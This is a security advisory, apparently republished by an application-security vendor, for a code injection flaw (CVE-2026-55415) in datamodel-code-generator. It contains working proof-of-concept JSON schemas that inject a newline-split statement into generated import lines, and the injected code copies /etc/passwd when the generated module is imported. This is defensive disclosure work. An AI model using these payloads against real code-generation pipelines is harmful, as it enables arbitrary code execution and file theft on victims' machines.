Summary
datamodel-code-generator vulnerable to code injection via x-python-import / customTypePath in generated import statements
A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default_factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.
Details
The sink is Import.from_full_path and Imports.create_line:
src/datamodel_code_generator/imports.py:35,from_full_path()only doesclass_path.split(".")and preserves every other character, including newlines:@classmethod @lru_cache def from_full_path(cls, class_path: str) -> Import: split_class_path: list[str] = class_path.split(".") return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)src/datamodel_code_generator/imports.py:64,create_line()renders the result verbatim:def create_line(self, from_: str | None, imports: set[str]) -> str: if from_: return f"from {from_} import {', '.join(self._set_alias(from_, imports))}" return "\n".join(f"import {i}" for i in self._set_alias(from_, imports))
There is no check that the path segments are Python identifiers, contrast validators._validate_dotted_python_identifier_path, which the same v0.61.0 release added for the validators config, and types.is_python_type_annotation, added for x-python-type. The two extensions below were left unguarded.
Two schema-controlled, default-config entry points reach this sink:
x-python-import,src/datamodel_code_generator/parser/jsonschema.py:1851-1858(get_ref_data_type):x_python_import = ref_schema.extras.get("x-python-import") if isinstance(x_python_import, dict): module = x_python_import.get("module") type_name = x_python_import.get("name") if module and type_name: full_path = f"{module}.{type_name}" import_ = Import.from_full_path(full_path) self.imports.append(import_)customTypePath, declared atsrc/datamodel_code_generator/parser/jsonschema.py:438, consumed at:4118and:4365viaget_data_type_from_full_path(custom_type_path, is_custom_type=True)→ the sameImport.from_full_pathsink.
Mechanism. With name = "getcwd\nprint(...)", full_path = "os.getcwd\nprint(...)". from_full_path splits only on ., so (provided the injected statement contains no .) it yields from_="os" and import_="getcwd\nprint(...)". create_line then emits:
from os import getcwd
print(...) # ← attacker statement at module scope, executes on import
The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).
None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.
PoC
Self contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b
Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).
payload_a.json:
{
"type": "object",
"title": "Root",
"required": ["f"],
"properties": { "f": { "$ref": "#/$defs/Evil" } },
"$defs": {
"Evil": {
"type": "object",
"x-python-import": {
"module": "os",
"name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
}
}
}
}
Generate and import:
datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"
Generated model.py (verbatim, the breakout sits at module scope):
from __future__ import annotations
from os import getcwd
print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from os import getcwd
print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from pydantic import BaseModel
...
Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg_xpi_loot:
$ head -1 /tmp/dmcg_xpi_loot
root:x:0:0:root:/root:/bin/bash
Confirmed under both the default output (pydantic v1) and --output-model-type pydantic_v2.BaseModel. The customTypePath variant reproduces identically:
{ "type":"object","title":"Root","required":["f"],
"properties":{ "f":{ "type":"object",
"customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')" }}}
A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload_a.json, payload_b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).
Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators._validate_dotted_python_identifier_path), and/or reject non-identifier paths centrally inside Import.from_full_path.
Maintainer status
Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1
Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.
Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.
Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.
Submitted by: Hamza Haroon (thegr1ffyn)
Impact
Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
CVE-2026-55415 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.64.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-55415? CVE-2026-55415 is a high-severity code injection vulnerability in datamodel-code-generator (pip), affecting versions >= 0.11.6, <= 0.63.0. It is fixed in 0.64.0. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is CVE-2026-55415? CVE-2026-55415 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of datamodel-code-generator are affected by CVE-2026-55415? datamodel-code-generator (pip) versions >= 0.11.6, <= 0.63.0 is affected.
- Is there a fix for CVE-2026-55415? Yes. CVE-2026-55415 is fixed in 0.64.0. Upgrade to this version or later.
- Is CVE-2026-55415 exploitable, and should I be worried? Whether CVE-2026-55415 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55415 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55415? Upgrade
datamodel-code-generatorto 0.64.0 or later.